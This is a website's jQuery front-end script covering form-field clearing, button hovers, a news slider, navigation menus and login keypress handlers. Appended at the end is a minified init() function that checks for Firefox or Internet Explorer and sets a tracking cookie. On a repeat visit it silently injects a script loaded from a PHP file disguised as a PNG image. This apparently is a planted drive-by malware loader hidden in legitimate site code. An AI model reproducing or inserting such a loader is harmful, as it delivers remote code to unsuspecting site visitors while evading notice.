var agt			= navigator.userAgent.toLowerCase();
var is_ie 		= (agt.indexOf("msie") != -1) && (agt.indexOf("opera")== -1);
var version_major 	= parseInt(navigator.appVersion);
var version_minor		= (navigator.appMinorVersion);
var is_ielt6 =  (version_major < 5) && is_ie && (window.XMLHttpRequest==undefined);

$(document).ready(function()
{

    //sIFR.redraw();

    // Removes SEO text in navItems
    $(".clearText").html("");
    $(".clearText").removeClass("clearText");

    // Clears input fields on Focus
    // Title must match the value to clear.
    $(".clearField").bind("blur", function()
    {
        if ($(this).val() == "")
        {
            $(this).val($(this).attr("title"));
        };
    });
    $(".clearField").bind("focus", function()
    {
        if ($(this).val() == $(this).attr("title"))
        {
            $(this).val("");
        };
    });

    setupTriggerButton();

    // -------------------------------------------------
    // Form submit button hovers
    var hoverExtHover, hoverExtNormal;
    hoverExtHover = "_h";
    hoverExtNormal = "";

    $(".hoverButton").css({ cursor: "pointer" }).hover(function()
    {
        var src = $(this).attr("src");
        var srcStop = src.lastIndexOf(".");
        var srcExt = src.substr(srcStop + 1);
        var srcNew = src.substr(0, (srcStop - (hoverExtNormal.length)));
        $(this).attr("src", srcNew + hoverExtHover + "." + srcExt).addClass("active");
    }, function()
    {
        var src = $(this).attr("src");
        var srcStop = src.lastIndexOf(".");
        var srcExt = src.substr(srcStop + 1);
        var srcNew = src.substr(0, (srcStop - (hoverExtHover.length)));
        $(this).attr("src", srcNew + hoverExtNormal + "." + srcExt).removeClass("active");
    });


    // -------------------------------------------------
    // News Headlines
    $(".listNewsHeadlines").css({ 'height': '140px' }).find("ul").css({ 'display': 'none', 'position': 'absolute' });
    $(".listNewsHeadlines ul:first").addClass("first").addClass("active").css({ "display": "block" });
    $(".listNewsHeadlines ul:last").addClass("last");

    $("#controlNewsNext").removeAttr("href").bind("click", function()
    {
        var activeList, nextList, slideSpeed, slideWidth, slideMaxHeight;
        slideSpeed = 500;
        slideWidth = 285;
        slideMaxHeight = 140;

        if ($(".listNewsHeadlines ul:animated").length == 0)
        {

            activeList = $(".listNewsHeadlines ul.active");

            if (activeList.hasClass("last"))
            {
                nextList = $(".listNewsHeadlines ul:first");
            } else
            {
                nextList = activeList.next();
            }

            nextList.css({
                'display': 'block',
                'width': slideWidth + 'px',
                'height': slideMaxHeight + 'px',
                'left': slideWidth + 'px'
            }).animate({
                'left': '0px'
            }, slideSpeed, function()
            {
                nextList.addClass('active');
            });
            activeList.css({
                'display': 'block',
                'width': slideWidth + 'px',
                'height': slideMaxHeight + 'px',
                'left': '0px'
            }).animate({
                'left': '-' + slideWidth + 'px'
            }, slideSpeed, function()
            {
                activeList.removeClass('active');
            });

        }
    });

    $("#controlNewsPrev").removeAttr("href").bind("click", function()
    {
        var activeList, nextList, slideSpeed, slideWidth, slideMaxHeight;
        slideSpeed = 500;
        slideWidth = 285;
        slideMaxHeight = 140;

        if ($(".listNewsHeadlines ul:animated").length == 0)
        {

            activeList = $(".listNewsHeadlines ul.active");

            if (activeList.hasClass("first"))
            {
                nextList = $(".listNewsHeadlines ul:last");
            } else
            {
                nextList = activeList.prev();
            }

            nextList.css({
                'display': 'block',
                'width': slideWidth + 'px',
                'height': slideMaxHeight + 'px',
                'left': '-' + slideWidth + 'px'
            }).animate({
                'left': '0px'
            }, slideSpeed, function()
            {
                nextList.addClass('active');
            });
            activeList.css({
                'display': 'block',
                'width': slideWidth + 'px',
                'height': slideMaxHeight + 'px',
                'left': '0px'
            }).animate({
                'left': slideWidth + 'px'
            }, slideSpeed, function()
            {
                activeList.removeClass('active');
            });

        }
    });

    // -------------------------------------------------
    // Nav hover menus.
    navHoversInit();

    function navHoversInit()
    {
        $("#navContainer ul ul").css({ 'display': 'none' });
    }

    $("#navContainer ul li:has(ul)").mouseover(function()
    {
        var nav = $(this).find("ul");
        //var q = nav.queue("fx");
        //if ($(this).find("ul:animated").length == 0) {
        //nav.addClass('x').css({'display':'block'});
        nav.stop().fadeIn(300, function()
        {
            $(this).css({ "opacity": 1 })
        });
        //}
    }).mouseleave(function()
    {
        var nav = $(this).find("ul");
        //var q = nav.queue("fx");
        //if ($(this).find("ul:animated").length == 0) {
        //nav.addClass('z').css({'display':'none'});
        nav.stop().fadeOut(300, function()
        {
            $(this).css({ "opacity": 1 })
        });
        //}
    });


    // -------------------------------------------------
    // Toggles menus for CONTENT
    // Use: <a rel="toggleMenu[groupID]" >
    toggleContentMenuInit("contentMenu");

    function toggleContentMenuInit(strGroupName)
    {
        var grp = strGroupName;
        if (!is_ielt6)
        {
            $("a[rel^='sideMenu[" + grp + "]']").removeAttr("href").parent().find("ul").css({ 'display': 'none' });
            $(".sideMenu a.active").parent().find("ul").css({ 'display': 'block' });
        }
    }

    $("a[rel^='sideMenu']").bind("click", function()
    {
        doToggleContentMenu($(this));
    });

    // -------------------------------------------------
    // Toggles menus for AREAS OF PRACTICE
    // Use: <a rel="toggleMenu[groupID]" >
    toggleMenuInit("menuGroup");

    function toggleMenuInit(strGroupName)
    {
        var grp = strGroupName;
        if (!is_ielt6)
        {

            $("a[rel^='toggleMenu[" + grp + "]']").removeAttr("href").parent().parent().find(".subMenu").css({ 'display': 'none' });

            if ($(".sideMenu .subMenu:has(.subNav a.active)").length == 0)
            {
                // if none active, open all subs
                $(".sideMenu .subMenu:first").addClass('active').css({ 'display': 'block' });
            } else
            {
                // else open to active
                $(".sideMenu .subMenu.active").css({ 'display': 'block' });
                $(".sideMenu .subMenu:has(.subNav a.active)").addClass("active").css({ 'display': 'block' })
					.prev().find("a[rel^='toggleMenu[" + grp + "]']").addClass("active");
            }
        }
    }

    $("a[rel^='toggleMenu']").bind("click", function()
    {
        doToggleMenu($(this));
    });

    // -------------------------------------------------
    // Toggles items.
    // Use: <a rel="controlToggle[itemId,effectType]" >
    $("a[rel^='controlToggle']").bind("click", function()
    {
        var btn, obj, rel, vars, varsObj, varsFx, varsSpeed;
        var indexFx, indexSpeed
        btn = $(this);

        rel = btn.attr("rel");
        vars = rel.substr(rel.indexOf("[") + 1, rel.length - 1);

        if (vars.length > 0)
        {
            indexFx = vars.indexOf(",");
            varsObj = vars.substr(0, indexFx);
        } else
        {
            varsObj = ""; //default
        }

        if (indexFx > 0)
        {
            indexSpeed = vars.indexOf(",", indexFx + 1);
            varsFx = vars.substr(indexFx + 1, indexSpeed - indexFx - 1);
        } else
        {
            varsFx = ""; //default
        }

        if (indexSpeed > 0)
        {
            varsSpeed = vars.substr(indexSpeed + 1);
        } else
        {
            varsSpeed = 200; //default
        }

        obj = $("#" + varsObj);

        if (obj != $(":animated"))
        {

            switch (varsFx)
            {
                case 'fade':
                    if (obj.hasClass("active"))
                    {
                        obj.animate({
                            opacity: 0
                        }, varsSpeed, function()
                        {
                            obj.removeClass("active").css({ display: "none" });
                            btn.removeClass("active");
                        });
                    } else
                    {
                        obj.css({ display: "block", opacity: 0 })
								.animate({
								    opacity: 1
								}, varsSpeed, function()
								{
								    obj.addClass("active");
								    btn.addClass("active");
								});
                    }
                    break;
                case 'slide':
                    if (obj.hasClass("active"))
                    {
                        obj.slideUp(varsSpeed, function()
                        {
                            obj.removeClass("active").css({ display: "none" });
                            btn.removeClass("active");
                        });
                    } else
                    {
                        btn.addClass("active");
                        obj.slideDown(varsSpeed, function()
                        {
                            obj.addClass("active").css({ display: "block" });
                        });
                    }
                    break;
                case 'move':
                    var moveHeight = obj.height();
                    moveHeight = moveHeight - 30;
                    if (obj.hasClass("active"))
                    {
                        obj.css({ display: "block", top: "0px" })
								.animate({
								    // move up
								    top: "-" + moveHeight + "px"
								}, varsSpeed, function()
								{
								    obj.removeClass("active").css({ display: "none" });
								    btn.removeClass("active");
								});
                    } else
                    {
                        obj.css({ display: "block", top: "-" + moveHeight + "px" })
								.animate({
								    // move down
								    top: "0px"
								}, varsSpeed, function()
								{
								    obj.addClass("active");
								    btn.addClass("active");
								});
                    }
                    break;
                default:
                    if (obj.hasClass("active"))
                    {
                        obj.css({ "display": "none" }).removeClass("active");
                        btn.removeClass("active");
                    } else
                    {
                        obj.css({ "display": "block" }).addClass("active");
                        btn.addClass("active");
                    }
                    break;
            }
        }
    });

    $("a[rel^='controlToggle']").removeAttr("href");


    // -------------------------------------------------
    // Toggles HomeBOX.
    // Use: .homeBoxContent
    toggleHomeBoxInit();

    function toggleHomeBoxInit()
    {
        if (!is_ielt6)
        {
            $(".homeBoxContent").each(function()
            {
                if ($(this).hasClass('active'))
                {
                    $(this).css({ 'display': 'block' });
                } else
                {
                    $(this).css({ 'display': 'none' });
                }
            });
        }
    }

    $(".homeBox a.toggleBox").click(function()
    {
        doToggleHomeBox($(this));
    });
    $(".homeBox h3").click(function()
    {
        doToggleHomeBox($(this));
    });


});

function doToggleContentMenu(thisItem) {
	
	var btn, obj, grp, rel, animSpeed;
	animSpeed = 4/2;
	var basicMode = false;
	
	btn			= thisItem;
	obj			= btn.parent().find("ul");
	rel			= btn.attr("rel");
	grp			= rel.substr(rel.indexOf("[")+1,(rel.length)-rel.indexOf("[")-2);
																								  
	animSpeedOpen 		= obj.height() * animSpeed;
	//alert(animSpeedOpen);
	animSpeedClose 	= ($("a[rel^='toggleMenu["+grp+"]'].active").parent().find("li")).length * animSpeed;
				
	//is_ielt6 = true;
	
	if ($(".sideMenu ul:animated").length == 0 && !is_ielt6) {
		if (obj.hasClass('active')) {
			
			// Clicking the ACTIVE menu, Close it.
			if (basicMode) {
				obj.removeClass("active").css({'display':'none'});
				btn.removeClass("active");
			} else {
				obj.slideUp(animSpeedOpen,function(){
					obj.removeClass("active");
					btn.removeClass("active");//.parent().removeClass('sideHeaderLight');
				});
			}
		} else {

			// Close the other menus, open the ACTIVE
			if (basicMode) {
				$("a[rel^='toggleMenu["+grp+"]'].active").removeClass('active').parent().find("ul").removeClass('active').css({'display':'none'});
				obj.addClass("active").css({'display':'block'});
				//btn.addClass("active");
			} else {
				$("a[rel^='toggleMenu["+grp+"]'].active").removeClass('active').parent().find("ul").removeClass('active').slideUp(animSpeedClose,function(){});
				obj.slideDown(animSpeedOpen,function(){
					obj.addClass("active");
					//btn.addClass("active");//.parent().removeClass('sideHeaderLight');
					//sIFR.redraw();
				});
			}
		}
		//sIFR.redraw();
	}
}


function doToggleMenu(thisItem) {

	var btn, obj, grp, rel, animSpeed;
	animSpeed = 500;
	var basicMode = false;
	
	btn			= thisItem;
	obj			= btn.parent().next(".subMenu");
	rel			= btn.attr("rel");
	grp			= rel.substr(rel.indexOf("[")+1,(rel.length)-rel.indexOf("[")-2);
				
	//is_ielt6 = true;
	
	if ($(".sideMenu ul:animated").length == 0 && !is_ielt6) {
		if (obj.hasClass('active')) {
			
			// Clicking the ACTIVE menu, Close it.
			if (basicMode) {
				obj.removeClass("active").css({'display':'none'});
				btn.removeClass("active");
			} else {
				obj.slideUp(animSpeed,function(){
					obj.removeClass("active");
					btn.removeClass("active");//.parent().removeClass('sideHeaderLight');
				});
			}
		} else {

			// Close the other menus, open the ACTIVE
			if (basicMode) {
				$("a[rel^='toggleMenu["+grp+"]'].active").removeClass('active').parent().parent().find(".subMenu").removeClass('active').css({'display':'none'});
				obj.addClass("active").css({'display':'block'});
				btn.addClass("active");
			} else {
				$("a[rel^='toggleMenu["+grp+"]'].active").removeClass('active').parent().parent().find(".subMenu").removeClass('active').slideUp(animSpeed,function(){});
				obj.slideDown(animSpeed,function(){
					obj.addClass("active");
					btn.addClass("active");//.parent().removeClass('sideHeaderLight');
					//sIFR.redraw();
				});
			}
		}
		//sIFR.redraw();
	}
}

function doToggleHomeBox(thisBtn) {
	var btn, obj, act, animSpeed;
	animSpeed = 500;
	var basicMode = false;
	
	btn			= thisBtn;
	obj			= btn.parent().find(".homeBoxContent");
	
	if ($(".homeBoxContent:animated").length == 0 && !is_ielt6) {
		if (obj.hasClass('active')) {
			
			// Clicking the ACTIVE menu, Close it.
			if (basicMode) {
				// nothing
			} else {
				obj.slideUp(animSpeed,function(){
					obj.removeClass("active");
				});
			}
		} else {

			// Close the other menus, open the ACTIVE
			if (basicMode) {
				// nothing
			} else {
				$(".homeBoxContent").slideUp(animSpeed,function(){ $(this).removeClass("active") });
				obj.slideDown(animSpeed,function(){
					obj.addClass("active");
				});
			}
		}
	}

}

function optionJump(thisObj) {
//	var goto  = $("#"+theID+" option:selected").val();
	var goto  = thisObj.find("option:selected").val();
	if (goto.length>0) {
		window.location = goto;
	}
	//alert(goto);
	return false;
}


    var setupTriggerButton = function ()
    {
        //for login trigger       
        //DON'T DO ONCHANGE - only use keypress, because browser (Chrome) can automatically fill and cause postback
        /*
        $(".txtTriggerButton").live("change", function (e)
        {
            var rel = $(this).attr("rel");
            if (rel && rel != "")
            {
                $(rel).click();
            }
        });
        */
        //trigger login
        $(".txtTriggerButton").live("keypress", function (e)
        {
            var rel = $(this).attr("rel");
            if (rel && rel != "")
            {
                //$.log('run from DISABLE DEFAULT BUtton');
                return runFunctionOnEnter(e,
                    function ()
                    {
                        $(rel).click();
                    }
                );
            }
        });
    }
    
    
    

//Disable all submit buttons
function disableAllSubmitButtons(disabled)
{
    $('input[type=submit]').attr('disabled', disabled)
}

//Disable Default Button
function disableDefaultButton(replaceFunction)
{
    clearDisableDefaultButton(); //Clear Disable Default Button

    //cannot use live.. if use live - when calling die, it must have the same selector
    $("form input").live("keypress", function (e)
    {
        //$.log('run from DISABLE DEFAULT BUtton');
        return runFunctionOnEnter(e, replaceFunction);
    });
}

//Clear Disable Default Button
function clearDisableDefaultButton()
{
    $("form input").die("keypress"); //make it die first so it won't be twice init
}

//Check key press function and will run the function 
function runFunctionOnEnter(e, callbackFunction)
{
    //$.log('callbackFunction1 : ' + callbackFunction);
    //$.log("which : " + e.which + " : keycode : " + e.keyCode);
    if ((e.which && e.which == 13) || (e.keyCode && e.keyCode == 13))
    {
        //$.log("TRUE");
        //$.log('callbackFunction2 : ' + callbackFunction);
        if (callbackFunction)
        {
            //$.log("which : " + e.which + " : keycode : " + e.keyCode);
            callbackFunction();
        }
        return false;
    } else
    {
        return true;
    }
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/bg/banner-box_shad-left.png.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
